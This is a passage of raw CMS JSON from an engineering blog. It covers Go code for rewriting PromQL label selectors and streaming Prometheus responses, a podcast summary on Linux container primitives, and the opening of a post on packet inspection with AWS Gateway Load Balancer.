\"api-server\".",[2426,2429,2432,2435],{"start":2427,"end":2428,"type":780},235,239,{"start":2430,"end":2431,"type":780},369,388,{"start":2433,"end":2434,"type":780},455,458,{"start":1281,"end":2436,"type":780},486,{"type":396,"text":2438,"spans":2439},"Expressions in PromQL consist of multiple elements, but for our purposes, we are specifically interested in the parser.VectorSelector nodes within the AST. These nodes are responsible for selecting metrics, and if we can modify them to enforce the rules outlined in the previous section, we will achieve our objective. To accomplish this, we must traverse the AST and modify all Vector Selectors accordingly. While it may seem daunting to implement a tree algorithm, it is not that complicated using a recursive function, which we outlined below.",[2440],{"start":1792,"end":2441,"type":780},133,{"type":396,"text":2443,"spans":2444},"Important Note: All code examples in this article have been simplified for clarity. For instance the code snippet below considers only case types relevant to the example discussed above. To parse any and all Prometheus queries, the code must consider all possible AST node types, which can be found here.",[2445,2446,2447],{"start":17,"end":549,"type":477},{"start":2074,"end":604,"type":780},{"start":2448,"end":2085,"type":744,"data":2449},299,{"link_type":453,"url":2450,"target":456},"https:\u002F\u002Fgithub.com\u002Fprometheus\u002Fprometheus\u002Fblob\u002Fmain\u002Fpromql\u002Fparser\u002Fast.go","rich_text$b6fd4251-f429-4d27-8038-00deb07e858b",{"variation":459,"version":460,"items":2453,"primary":2454,"id":2460,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":2456},"go",[2457],{"type":563,"text":2458,"spans":2459},"\u002F\u002F LabelModifier is a function that modifies given Vector Selector to include\n\u002F\u002F all required labels to limit the set of results to what we want.\ntype LabelModifier func(*parser.VectorSelector) (*parser.VectorSelector, error)\n\n\u002F\u002F modifyLabels function modifies all Vector Selector nodes within the AST of\n\u002F\u002F the passed Prometheus Expression - the AST returned by the ParseExpr function.\nfunc modifyLabels(expr parser.Expr, labelMod LabelModifier) (parser.Expr, error) {\n\tvar err error\n\n\tswitch exp := expr.(type) {\n\tcase *parser.VectorSelector:\n\t\texpr, err = labelMod(exp)\n\tcase *parser.MatrixSelector:\n\t\texp.VectorSelector, err = modifyLabels(exp.VectorSelector, labelMod)\n\tcase *parser.Call:\n\t\tfor i := range exp.Args {\n\t\t\texp.Args[i], err = modifyLabels(exp.Args[i], labelMod)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn expr, err\n}",[],"code_block$2f1cbbd9-5a3d-4ad1-87ef-b4926fa86c87",{"variation":459,"version":460,"items":2462,"primary":2463,"id":2482,"slice_type":479,"slice_label":13},[],{"body":2464},[2465,2471],{"type":396,"text":2466,"spans":2467},"The recursive function above is responsible for traversing the abstract syntax tree of the Prometheus query and modifying all *parser.VectorSelector nodes using the labelMod function. Although this function is relatively simple, we believe it could be useful to see how to implement it.",[2468,2470],{"start":1536,"end":2469,"type":780},148,{"start":2128,"end":2285,"type":780},{"type":396,"text":2472,"spans":2473},"Now that we understand how to locate and modify each vector selector, let's explore how we might implement the labelMod function. As the rules become more complex, the implementation will likewise become more complicated. The labelMod function modifies one label at a time, with each label modification split into one of its sub-functions. To keep things simple, let's focus on enforcing the metric_purpose=\"external\" rule to separate external metrics from internal ones.",[2474,2476,2479],{"start":2475,"end":742,"type":780},111,{"start":2477,"end":2478,"type":780},226,234,{"start":2480,"end":2481,"type":780},392,417,"rich_text$40b15369-23be-4795-8d32-384a550f7e00",{"variation":459,"version":460,"items":2484,"primary":2485,"id":2490,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":2486},[2487],{"type":563,"text":2488,"spans":2489},"\u002F\u002F applyMetricPurposeLabel function enforces `metric_purpose=\"external\"` label to be\n\u002F\u002F present on the provided vector selector.\nfunc applyMetricPurposeLabel(vector *parser.VectorSelector) *parser.VectorSelector {\n\t\u002F\u002F Filter out all occurrences of that label on the matcher.\n\tfilteredLabels := make([]*labels.Matcher, 0)\n\tfor i := range vector.LabelMatchers {\n\t\tif vector.LabelMatchers[i].Name != PublicMetricLabelName {\n\t\t\tfilteredLabels = append(filteredLabels, vector.LabelMatchers[i])\n\t\t}\n\t}\n\t\u002F\u002F Apply `metric_purpose=\"external\"` label.\n\tfilteredLabels = append(filteredLabels, &labels.Matcher{\n\t\tType:  labels.MatchEqual,\n\t\tName:  \"metric_purpose\",\n\t\tValue: \"external\",\n\t})\n\t\u002F\u002F Assign the new updated label set to the Vector Selector.\n\tvector.LabelMatchers = filteredLabels\n\treturn vector\n}",[],"code_block$6921a662-9943-4f97-bd6a-289277bb3637",{"variation":459,"version":460,"items":2492,"primary":2493,"id":2502,"slice_type":479,"slice_label":13},[],{"body":2494},[2495],{"type":396,"text":2496,"spans":2497},"And that's how we modify Prometheus query selectors! By traversing the query's corresponding abstract syntax tree using a recursive function, we can locate and modify the *parser.VectorSelector nodes. Additionally, we explored how to implement the labelMod function to enforce custom rules on the query labels.",[2498,2500],{"start":2499,"end":1421,"type":780},171,{"start":2501,"end":2394,"type":780},248,"rich_text$37f9f8cb-a8b9-4ebc-88d3-03989a788731",{"variation":459,"version":460,"items":2504,"primary":2505,"id":2552,"slice_type":479,"slice_label":13},[],{"body":2506},[2507,2510,2513,2516,2522,2525,2528,2533,2538,2544,2546,2549],{"type":465,"text":2508,"spans":2509},"Technical Challenges",[],{"type":396,"text":2511,"spans":2512},"During the implementation of the Metrics API service, we encountered a few technical challenges. It turns out that seemingly the most boring task presented the most interesting ones.",[],{"type":1097,"text":2514,"spans":2515},"Ready, Set, Stream!",[],{"type":396,"text":2517,"spans":2518},"Implementing the \u002Ffederate endpoint was necessary because Grafana Cloud (our metrics storage provider) doesn't provide it. Fortunately, all the data served by this endpoint could be fetched from \u002Fapi\u002Fv1\u002Fquery one, which is used for fetching instant vectors. The only difference, and the work we have to do, is response formatting. Sounds easy, right?",[2519,2520],{"start":967,"end":596,"type":780},{"start":1425,"end":2521,"type":780},208,{"type":396,"text":2523,"spans":2524},"The problem is that some queries can have large amounts of metrics returned, especially if a customer was monitoring multiple organisations on our platform. This resulted in a huge memory footprint for our Metrics API, which was consuming around 500 megabytes of memory, making it hard to justify given it's such a small service. To solve this issue, we decided to stream both:",[],{"type":1101,"text":2526,"spans":2527},"the incoming JSON response from Prometheus,",[],{"type":1101,"text":2529,"spans":2530},"the formatted \u002Ffederate response to the customer.",[2531],{"start":1342,"end":2532,"type":780},23,{"type":396,"text":2534,"spans":2535},"Streaming allowed us to parse the incoming JSON response as it was being transferred from the backend storage, format it, and send it to the customer in the \u002Ffederate format without keeping the whole response in memory. Instead, we only kept the amount we parsed, which was just one metric at a time.",[2536],{"start":2297,"end":2537,"type":780},166,{"type":396,"text":2539,"spans":2540},"This resulted in the memory footprint reduction to just 15 megabytes, which is a 33 times decrease!",[2541,2543],{"start":17,"end":2542,"type":780},99,{"start":17,"end":2542,"type":477},{"type":1097,"text":2339,"spans":2545},[],{"type":396,"text":2547,"spans":2548},"In this section we'll focus on memory optimisations that made such a drastic difference. In reality, the implementation has to consider many things. For instance - always populating the response with at least one metric. Otherwise, the federating Prometheus on customers' side would think that we are down if no metrics are returned, but in fact it could be that they've just inserted a query that returns an empty set of metrics. With that out of the way, let's see the code!",[],{"type":396,"text":2550,"spans":2551},"The biggest difference boils down to instead of using",[],"rich_text$884c3fa3-5784-4e41-921b-8ec79e458041",{"variation":459,"version":460,"items":2554,"primary":2555,"id":2560,"slice_type":567,"slice_label":13},[],{"language_label":13,"code":2556},[2557],{"type":563,"text":2558,"spans":2559},"err := json.NewDecoder(resp.Body).Decode(&metricsResponseStruct)",[],"code_block$3f072006-25c5-4ed1-81ec-d69f816f1a19",{"variation":459,"version":460,"items":2562,"primary":2563,"id":2568,"slice_type":479,"slice_label":13},[],{"body":2564},[2565],{"type":396,"text":2566,"spans":2567},"to read the response all at once. We read it bit-by-bit, and decoding one token at a time, using:",[],"rich_text$a9febadc-6968-4c07-8262-fd42202d9672",{"variation":459,"version":460,"items":2570,"primary":2571,"id":2576,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":2572},[2573],{"type":563,"text":2574,"spans":2575},"func findKey(dec *json.Decoder, key string) error {\n\tfor dec.More() {\n\t\ttoken, err := dec.Token()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif t, ok := token.(string); ok && t == key {\n\t\t\treturn nil\n\t\t}\n\t}\n\n\treturn error.New(\"Token not found.\")\n}",[],"code_block$ee175fec-227c-4f53-9092-96458cccd477",{"variation":459,"version":460,"items":2578,"primary":2579,"id":2586,"slice_type":479,"slice_label":13},[],{"body":2580},[2581],{"type":396,"text":2582,"spans":2583},"When we finally find the result key in the JSON response we can parse one metric sample at a time, using:",[2584],{"start":2118,"end":2585,"type":780},31,"rich_text$6ffc639b-3600-4005-b900-b80d654c336b",{"variation":459,"version":460,"items":2588,"primary":2589,"id":2594,"slice_type":567,"slice_label":13},[],{"language_label":2455,"code":2590},[2591],{"type":563,"text":2592,"spans":2593},"type PromMetricSample struct {\n\tMetric map[string]string `json:\"metric\"`\n\tValue  []interface{}     `json:\"value\"`\n}\n\n\u002F\u002F Reset recycles PromMetricSample so it can be reused for decoding.\nfunc (p *PromMetricSample) Reset() {\n\tfor k := range p.Metric {\n\t\tdelete(p.Metric, k)\n\t}\n\tp.Value = p.Value[:0]\n}\n\nvar sample PrometheusQueryResponseMetricSamples\nbuf := bytes.NewBuffer([]byte{})\n\n\u002F\u002F At this point we know that we will read an array of samples\n\u002F\u002F and then finish as the decoder.More() will return false\n\u002F\u002F when we are out of items.\nfor dec.More() {\n\t\u002F\u002F Decode each object as a prometheus sample.\n\tsample.Reset()\n\tif err := dec.Decode(&sample); err != nil {\n\t\treturn err\n\t}\n\t\u002F\u002F Buffers are the fastest way to concatenate strings and allow us to reuse\n\t\u002F\u002F the buffer for every metric. This means we won't need to re-allocate space\n\t\u002F\u002F every time.\n\tbuf.Reset()\n\tbuf = writeMetricInFederateFormat(buf, sample)\n\tif _, err := buf.WriteTo(writer); err != nil {\n\t\treturn err\n\t}\n}",[],"code_block$bdf531a5-fe02-4651-b336-61b069578389",{"variation":459,"version":460,"items":2596,"primary":2597,"id":2602,"slice_type":479,"slice_label":13},[],{"body":2598},[2599],{"type":396,"text":2600,"spans":2601},"In the above code you can see a summary of our memory optimisations. First we use one sample instance to decode all of the metrics. This means we don't need to allocate one struct for each new metric. We need to do some cleaning after parsing each metrics, but Go is very fast so we don't mind that.",[],"rich_text$1d516848-19f4-465e-a576-66d9376983be",{"variation":459,"version":481,"items":2604,"primary":2605,"id":2621,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":2606,"body":2607,"cta_label":13,"cta_link":2608,"aside_type":488,"aside_image":2609,"aside_video":2616,"aside_video_poster":2617,"aside_video_reduced_motion":2618,"aside_video_url":13,"aside_embed":2619,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":2620,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[],[],{"link_type":487},{"dimensions":2610,"alt":13,"copyright":13,"url":2613,"id":2614,"edit":2615},{"width":2611,"height":2612},4196,2264,"\u002F_prismic-media\u002F668a568a6d254143-F7MeUZ6ALHvK3eW3_2dee7e2c-1aa6-47e5-99e1-9c26e20.svg","F7MeUZ6ALHvK3eW3",{"x":17,"y":17,"zoom":18,"background":424},{"link_type":493},{},{},{},{"link_type":499},"content_block$dd93e132-70d7-4dfb-8813-c9d5b82b7b72",{"variation":459,"version":460,"items":2623,"primary":2624,"id":2639,"slice_type":479,"slice_label":13},[],{"body":2625},[2626,2634],{"type":396,"text":2627,"spans":2628},"After decoding a single metric sample we need to convert it to the \u002Ffederate format. To do this effectively we use a helper buffer that allows us to quickly create the output array of bytes we need. We need this because in Go, strings are immutable, which means that once created, their value cannot be modified. Concatenating two strings, therefore, requires creating a new string that contains the contents of both strings. This process can be expensive both in terms of both memory allocation as well as copying. Using a buffer in Go can help mitigate this cost by allowing you to build up a string incrementally without creating a new string for each concatenation operation. A buffer is a mutable sequence of bytes that can be used to efficiently build up a larger string by appending smaller strings to it. When the byte representation of the final string has been constructed, you can use the String() method of the buffer to obtain the value.",[2629,2631],{"start":2630,"end":1507,"type":780},67,{"start":2632,"end":2633,"type":780},900,908,{"type":396,"text":2635,"spans":2636},"We omit the implementation of writeMetricInFederateFormat as it just concatenates strings using the aforementioned buffer - no magic there.",[2637],{"start":555,"end":2638,"type":780},57,"rich_text$2e9beafc-f097-4069-befe-e26e5816c4db",{"variation":459,"version":460,"items":2641,"primary":2642,"id":2650,"slice_type":479,"slice_label":13},[],{"body":2643},[2644,2647],{"type":465,"text":2645,"spans":2646},"Ta da! 🎉",[],{"type":396,"text":2648,"spans":2649},"Thank you for taking the time to read this article! We hope you found the information useful. Be sure to stay tuned for our upcoming articles where we'll cover metric ingestion solution and organisational challenges we faced when creating this product. Don't forget to follow us on social media to stay up-to-date with our latest content. Goodbye for now!",[],"rich_text$7d74eddf-1d01-4d10-a5c5-71181a38d44d",{"id":2652,"uid":2653,"url":2654,"type":406,"href":2655,"tags":2656,"first_publication_date":1880,"last_publication_date":1573,"slugs":2657,"linked_documents":2659,"lang":386,"alternate_languages":2660,"data":2661},"alz0uREAAC4AUWZg","podcast-containers","\u002Fresources\u002Fengineering-blog\u002Fpodcast-containers","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0uREAAC4AUWZg%22%29+%5D%5D",[],[2658],"ep-43-.tech---the-core-components-of-container-systems",[],[],{"title":2662,"excerpt":2663,"card_image":2664,"published_date":2669,"reading_time":667,"tag":427,"dek":2663,"featured_image":2670,"about_form3":2676,"client_about_heading":13,"client_about_body":2677,"author_name":1277,"author_title":1278,"author_photo":2678,"author_bio":2681,"author_linkedin":2684,"slices":2686,"meta_title":2662,"meta_description":2663},".tech Podcast - The core components of container systems","Michael Kerrisk is a Linux expert and trainer. He joins us to explain what containers are and deep dive into the four core components of containers: namespaces, capabilities, cgroups and seccomp. He also draws parallels on how they are used by Docker to power container systems as we know them today.",{"dimensions":2665,"alt":2662,"copyright":13,"url":2666,"id":2667,"edit":2668},{"width":420,"height":420},"\u002F_prismic-media\u002F5f5e43ca0d8f8138-dnaW1DBCHWKzhApI_podcast-containers.png","dnaW1DBCHWKzhApI",{"x":17,"y":17,"zoom":18,"background":19},"2023-05-17",{"dimensions":2671,"alt":13,"copyright":13,"url":2673,"id":2674,"edit":2675},{"width":1270,"height":2672},855,"\u002F_prismic-media\u002F3ba5253497133109-pJKDARsjUCmzIC3v_0fc30bfd-a72e-43ac-840d-9cc8e02.png","pJKDARsjUCmzIC3v",{"x":17,"y":17,"zoom":18,"background":19},[],[],{"dimensions":2679,"alt":1277,"copyright":13,"url":1282,"id":1283,"edit":2680},{"width":443,"height":1281},{"x":17,"y":17,"zoom":18,"background":424},[2682],{"type":396,"text":1287,"spans":2683},[],{"link_type":453,"key":2685,"url":1291,"target":456},"4e679094-3380-46eb-bf22-b6a39c7ccfa9",[2687,2707,2726,2757],{"variation":459,"version":481,"items":2688,"primary":2689,"id":2706,"slice_type":506,"slice_label":13},[],{"eyebrow":13,"heading":2690,"body":2694,"cta_label":1304,"cta_link":2697,"aside_type":13,"aside_image":2700,"aside_video":2701,"aside_video_poster":2702,"aside_video_reduced_motion":2703,"aside_video_url":13,"aside_embed":2704,"pardot_form_url":13,"form_submit_label":13,"form_variant":497,"form_heading":13,"redirect_on_success":2705,"theme":500,"overlay_pattern":501,"background_continuation":502,"media_position":503,"aside_vertical_align":504},[2691],{"type":465,"text":2692,"spans":2693},"Ep 43 .tech - The core components of container systems",[],[2695],{"type":396,"text":1302,"spans":2696},[],{"link_type":453,"key":2698,"url":2699},"1647d270-d2e2-4747-8d1c-260c16b789f4","https:\u002F\u002Ftechpodcast.form3.tech\u002Fepisodes\u002Fep-43-tech-the-core-components-of-container-systems-Obweg5cB",{},{"link_type":493},{},{},{},{"link_type":499},"content_block$3fa362c1-9c4e-4434-a2d9-38b448eb4f80",{"variation":459,"version":460,"items":2708,"primary":2709,"id":2725,"slice_type":479,"slice_label":13},[],{"body":2710},[2711],{"type":396,"text":2712,"spans":2713},"Michael Kerrisk is a Linux expert and runs a Linux System Programming course, which is a very popular course for Form3 engineers. He started working with UNIX, the predecessor of Linux, and has used this knowledge in his Linux courses. Linux was roughly a re-implementation of the UNIX kernel that had been written more than 20 years before at Bell Laboratories. His primary area of focus is not the kernel internals, but the kernel interface that it presents to the world, which is the same as classical UNIX. Michael has always had a passion for teaching, having spent years as a university teacher, before starting his corporate career. He joined the Training department of a previous employer and started delivering the system programming course for them. This was the ideal job for him, as it brought together the two things he was passionate about: UNIX and teaching. He is also the author of \"The Linux Programming Interface\", which is a a detailed guide and reference for Linux and UNIX system programming.",[2714,2717,2720],{"start":17,"end":2000,"type":744,"data":2715},{"link_type":453,"url":2716,"target":456},"https:\u002F\u002Fwww.linkedin.com\u002Fin\u002Fmkerrisk\u002F",{"start":1346,"end":1507,"type":744,"data":2718},{"link_type":453,"url":2719,"target":456},"https:\u002F\u002Fman7.org\u002Ftraining\u002F",{"start":2721,"end":2722,"type":744,"data":2723},899,932,{"link_type":453,"url":2724,"target":456},"https:\u002F\u002Fman7.org\u002Ftlpi\u002Findex.html","rich_text$b9ab240e-1b48-41bf-8bae-656edc6b109b",{"variation":459,"version":460,"items":2727,"primary":2728,"id":2756,"slice_type":479,"slice_label":13},[],{"body":2729},[2730,2733,2740,2745],{"type":465,"text":2731,"spans":2732},"The container illusion",[],{"type":396,"text":2734,"spans":2735},"Michael explains that a container is an illusion. It's an illusion that for a group of processes that are on a system, there is no one else on this same system. The containers think they are the only processes on the system and get private resources that appear to be visible only to them. This concept of isolation is fundamental to containers.",[2736,2737],{"start":475,"end":516,"type":477},{"start":2738,"end":2739,"type":477},306,315,{"type":396,"text":2741,"spans":2742},"They also provide a set of standards that make it possible to develop a runtime for a container and deploy the unit anywhere that supports the runtime. Due to these standards, someone producing a container can deliver it anywhere that can run that runtime.",[2743],{"start":2744,"end":546,"type":477},27,{"type":396,"text":2746,"spans":2747},"This is specifically what the Docker idea is about, but containers also have more general uses. We can also freeze, restore and migrate containers. The Open Container Initiative (OCI) sets the standards for container interfaces across cloud providers and services.",[2748,2751],{"start":555,"end":546,"type":744,"data":2749},{"link_type":453,"url":2750,"target":456},"https:\u002F\u002Fwww.docker.com\u002Fresources\u002Fwhat-container\u002F",{"start":2752,"end":2753,"type":744,"data":2754},152,183,{"link_type":453,"url":2755,"target":456},"https:\u002F\u002Fopencontainers.org\u002F","rich_text$621aa805-4ec9-41a7-a53f-76014253053b",{"variation":459,"version":460,"items":2758,"primary":2759,"id":2843,"slice_type":479,"slice_label":13},[],{"body":2760},[2761,2764,2767,2770,2785,2788,2792,2799,2803,2806,2810,2819,2822,2831,2837],{"type":465,"text":2762,"spans":2763},"Core components of container systems",[],{"type":396,"text":2765,"spans":2766},"Michael explains there are four components to container systems. He delves into each component in detail.",[],{"type":1097,"text":2768,"spans":2769},"Namespaces",[],{"type":396,"text":2771,"spans":2772},"A namespace is the most important part of the isolation provided by containers. They isolate a global resource to make it appear to a group of processes that they have a private instance of that resource. For example, the uts namespace provides isolation for hostname, making it possible for every container to have and broadcast its own hostname. There are other important namespaces, such as the mount namespaces which provide isolation of the mount list, making it possible for processes to see different sets of mounted file systems.",[2773,2776,2779,2782],{"start":2774,"end":2775,"type":780},222,225,{"start":2774,"end":2427,"type":744,"data":2777},{"link_type":453,"url":2778,"target":456},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman7\u002Futs_namespaces.7.html",{"start":2780,"end":2781,"type":780},398,403,{"start":2780,"end":2060,"type":744,"data":2783},{"link_type":453,"url":2784,"target":456},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman7\u002Fmount_namespaces.7.html",{"type":1097,"text":2786,"spans":2787},"Capabilities",[],{"type":396,"text":2789,"spans":2790},"The motivation for creating capabilities is due to the coarse privilege model of UNIX. In this model, superusers can bypass limitations and rules, but regular users must abide by the rules. There is no extra way to grant to grant subsets of permissions.",[2791],{"start":1071,"end":2040,"type":780},{"type":396,"text":2793,"spans":2794},"The general concept of capabilities is to allow the creation of programs that are less powerful than root programs. The power of super-users is split into 41 capabilities. The ability to limit the power granted to programs also allows us to mitigate the risk to our systems in the case that they get compromised, as the attacker has less power to do damage.",[2795,2796],{"start":2532,"end":1372,"type":780},{"start":2354,"end":2129,"type":744,"data":2797},{"link_type":453,"url":2798,"target":456},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman7\u002Fcapabilities.7.html",{"type":396,"text":2800,"spans":2801},"User namespaces combine the powers of isolation and elevated privilege. They allow us to grant capabilities only inside an isolated container, but not outside it. This means that they can only perform elevated privilege actions on the resources that are governed by their container. For example, we can mount file systems or add network infrastructure only inside the container they have been granted capabilities for.",[2802],{"start":17,"end":2000,"type":780},{"type":1097,"text":2804,"spans":2805},"cgroups",[],{"type":396,"text":2807,"spans":2808},"cgroups serve the purpose of measurement and limitation of the usage of various kinds of resources. For example, we can limit the use of memory and CPU. They allow us to set shared limits for groups of processes, which was not possible with the old mechanisms available in UNIX. Sharing limits is helpful, as applications typically constitute of multiple processes.",[2809],{"start":17,"end":1411,"type":780},{"type":396,"text":2811,"spans":2812},"We can also set up limits hierarchically through parent-child relationships between cgroups. This is especially useful as we now have the idea of containers inside containers. This is exactly how Docker resource constraints are implemented.",[2813,2814],{"start":640,"end":1984,"type":780},{"start":2815,"end":2816,"type":744,"data":2817},196,223,{"link_type":453,"url":2818,"target":456},"https:\u002F\u002Fdocs.docker.com\u002Fconfig\u002Fcontainers\u002Fresource_constraints\u002F",{"type":1097,"text":2820,"spans":2821},"seccomp",[],{"type":396,"text":2823,"spans":2824},"The general idea behind seccomp is that the kernel provides about 400 system calls, but most applications only make use of a tiny subset of these. seccomp allows us to set up sandbox limitations for the system calls that are available to our processes. This allows us to limit what programs can do and mitigate the risk of damage that an attacker can do in the case that the process is compromised.",[2825,2826,2829],{"start":1381,"end":2585,"type":780},{"start":1520,"end":899,"type":744,"data":2827},{"link_type":453,"url":2828,"target":456},"https:\u002F\u002Fman7.org\u002Flinux\u002Fman-pages\u002Fman2\u002Fsyscalls.2.html",{"start":2830,"end":605,"type":780},147,{"type":396,"text":2832,"spans":2833},"By default, common system calls are allowed and disallows around 30-40 potentially dangerous system calls. We can create Docker seccomp security profiles to modify the default security profile.",[2834],{"start":2069,"end":2326,"type":744,"data":2835},{"link_type":453,"url":2836,"target":456},"https:\u002F\u002Fdocs.docker.com\u002Fengine\u002Fsecurity\u002Fseccomp\u002F",{"type":396,"text":2838,"spans":2839},"Docker builds on these four core components, abstracting away the complexities. Gaining a deeper understanding of the underlying mechanisms can help us gain a deeper understanding of the behaviour or our systems. Michael's training courses allow you to do just that.",[2840],{"start":2816,"end":2428,"type":744,"data":2841},{"link_type":453,"url":2842,"target":456},"https:\u002F\u002Fman7.org\u002Ftraining\u002Findex.html","rich_text$681aba10-5931-4579-b013-7b54e3ced070",{"id":2845,"uid":2846,"url":2847,"type":406,"href":2848,"tags":2849,"first_publication_date":1880,"last_publication_date":2850,"slugs":2851,"linked_documents":2853,"lang":386,"alternate_languages":2854,"data":2855},"alz0vBEAACgAUWZo","packets-aws-gateway-load","\u002Fresources\u002Fengineering-blog\u002Fpackets-aws-gateway-load","https:\u002F\u002Fform3-website.cdn.prismic.io\u002Fapi\u002Fv2\u002Fdocuments\u002Fsearch?ref=apjJ1BEAAC0AJxzl&q=%5B%5B%3Ad+%3D+at%28document.id%2C+%22alz0vBEAACgAUWZo%22%29+%5D%5D",[],"2026-08-27T02:07:01+0000",[2852],"infrastructure",[],[],{"title":2856,"excerpt":2857,"card_image":2858,"published_date":2863,"reading_time":672,"tag":427,"dek":2857,"featured_image":2864,"about_form3":2869,"client_about_heading":13,"client_about_body":2870,"author_name":13,"author_title":13,"author_photo":2871,"author_bio":2872,"author_linkedin":2873,"slices":2874,"meta_title":2856,"meta_description":2857},"How to inspect & manipulate network packets in AWS with Gateway Load Balancer","In this post, Michał walks you through a sample setup of the AWS Gateway Load Balancer. We will provision the infrastructure using Terraform, write a simple virtual appliance application and show it all in action. He demonstrates how this service can be used to route network traffic through a virtual appliance where each network packet can be inspected, modified, or dropped.",{"dimensions":2859,"alt":2856,"copyright":13,"url":2860,"id":2861,"edit":2862},{"width":420,"height":420},"\u002F_prismic-media\u002Fa2f7f18c93315d9c-DVFYBElNQmclbx_c_packets-aws-gateway-load.png","DVFYBElNQmclbx_c",{"x":17,"y":17,"zoom":18,"background":19},"2023-05-11",{"dimensions":2865,"alt":13,"copyright":13,"url":2866,"id":2867,"edit":2868},{"width":1270,"height":1271},"\u002F_prismic-media\u002F75e1b71f9329457f-mbIThmnpBkB-faof_5f129ce2-c36d-4a59-8dd7-30de4ee.jpg","mbIThmnpBkB-faof",{"x":17,"y":17,"zoom":18,"background":424},[],[],{},[],{"link_type":487},[2875,2895,2924,2977,3008,3016,3026,3034,3042,3053,3061,3070,3078,3086,3094,3105,3140,3148,3159,3167,3175,3183,3191,3199,3210,3218,3226,3234,3254,3262,3270,3279,3287,3301,3309,3317,3325],{"variation":459,"version":460,"items":2876,"primary":2877,"id":2894,"slice_type":479,"slice_label":13},[],{"body":2878},[2879,2890],{"type":396,"text":2880,"spans":2881},"This AWS Gateway Load Balancer service is very well described in the Official getting started guide. All the code demonstrated in this post can be found in the aws-gateway-lb GitHub repository.",[2882,2885],{"start":687,"end":2542,"type":744,"data":2883},{"link_type":453,"url":2884,"target":456},"https:\u002F\u002Fdocs.aws.amazon.com\u002Felasticloadbalancing\u002Flatest\u002Fgateway\u002Fgetting-started.html",{"start":2886,"end":2887,"type":744,"data":2888},160,192,{"link_type":453,"url":2889},"https:\u002F\u002Fgithub.com\u002Fmszczygiel\u002Faws-gateway-lb",{"type":396,"text":2891,"spans":2892},"Note, that running the example will incur some costs. Remember, to destroy the infrastructure after playing around with it!",[2893],{"start":17,"end":547,"type":477},"rich_text$63a60f7f-6c54-4604-9104-ad18933d381e",{"variation":459,"version":460,"items":2896,"primary":2897,"id":2923,"slice_type":479,"slice_label":13},[],{"body":2898},[2899,2902,2907,2910,2917,2920],{"type":465,"text":2900,"spans":2901},"Infrastructure",[],{"type":396,"text":2903,"spans":2904},"Sample infrastructure can be provisioned using Terraform by following the readme in the code repository.",[2905],{"start":519,"end":550,"type":744,"data":2906},{"link_type":453,"url":2889,"target":456},{"type":396,"text":2908,"spans":2909},"The key resources are:",[],{"type":1101,"text":2911,"spans":2912},"AWS EC2 instances a, b and c. These are ones where we will run nc and execute some simple message exchanges over UDP.\nundefinedundefined",[2913,2914,2915,2916],{"start":905,"end":2369,"type":780},{"start":706,"end":579,"type":780},{"start":2744,"end":1071,"type":780},{"start":1734,"end":1557,"type":780},{"type":1101,"text":2918,"spans":2919},"AWS EC2 appliance instance where our virtual appliance application will run.",[],{"type":396,"text":2921,"spans":2922},"All instances allow public SSH access on port 22. With some simple adjustments it can be restricted to your own public IP, but it's out of scope of this post. See the repository readme to learn how to provide the public key.",[],"rich_text$70c7f249-6893-4815-9214-f26424057f3b",{"variation":459,"version":460,"items":2925,"primary":2926,"id":2976,"slice_type":479,"slice_label":13},[],{"body":2927},[2928,2931,2937,2940,2943,2946,2949,2952,2958,2961,2964,2967,2970,2973],{"type":465,"text":2929,"spans":2930},"Virtual appliance",[],{"type":396,"text":2932,"spans":2933},"A virtual appliance is an application that supports Geneve (Generic Network Virtualisation Encapsulation) protocol and exposes a health check endpoint. It's possible to get one from the AWS Marketplace, but for the purpose of this post, we will write our own. In short, the appliance has to:",[2934],{"start":547,"end":556,"type":744,"data":2935},{"link_type":453,"url":2936,"target":456},"https:\u002F\u002Fdatatracker.ietf.org\u002Fdoc\u002Fhtml\u002Frfc8926",{"type":1101,"text":2938,"spans":2939},"receive a UDP packet,",[],{"type":1101,"text":2941,"spans":2942},"swap source and destination IP in the outermost IP layer,",[],{"type":1101,"text":2944,"spans":2945},"optionally modify the packet’s contents and update the checksum,",[],{"type":1101,"text":2947,"spans":2948},"send the packet back or drop the packet.",[],{"type":396,"text":2950,"spans":2951},"In this section, I will explain the steps necessary to create a virtual appliance. Full source code (along with instructions on how to run it) is accessible in the GitHub repository mentioned above.",[],{"type":396,"text":2953,"spans":2954},"The appliance will handle all Geneve packets, decode them using the gopacket library, and process them according to the following rules.",[2955],{"start":518,"end":1507,"type":744,"data":2956},{"link_type":453,"url":2957,"target":456},"https:\u002F\u002Fgithub.com\u002Fgoogle\u002Fgopacket",{"type":396,"text":2959,"spans":2960},"UDP packets where the source or destination port is 3000 will be handled as follows",[],{"type":1101,"text":2962,"spans":2963},"if the payload contains the string \"drop me\" the packet will be dropped;",[],{"type":1101,"text":2965,"spans":2966},"string \"weakly typed\" in the payload will be replaced with string \"strongly typed\".",[],{"type":396,"text":2968,"spans":2969},"Additionally, every 5th ICMP packet will be dropped.",[],{"type":396,"text":2971,"spans":2972},"The reason we've chosen ICMP and UDP is that I wanted to show how to handle various protocols and to emphasise that we're not limited to TCP or UDP only. We've chosen UDP over TCP as it's easier to show dropping packets. By design, if we drop a single TCP packet, we won't be able to process any subsequent ones. Therefore dropping a subset of packets is much easier to show with UDP.",[],{"type":396,"text":2974,"spans":2975},"For brevity, we will support IPv4 only and skip error handling (although the application in the repository handles 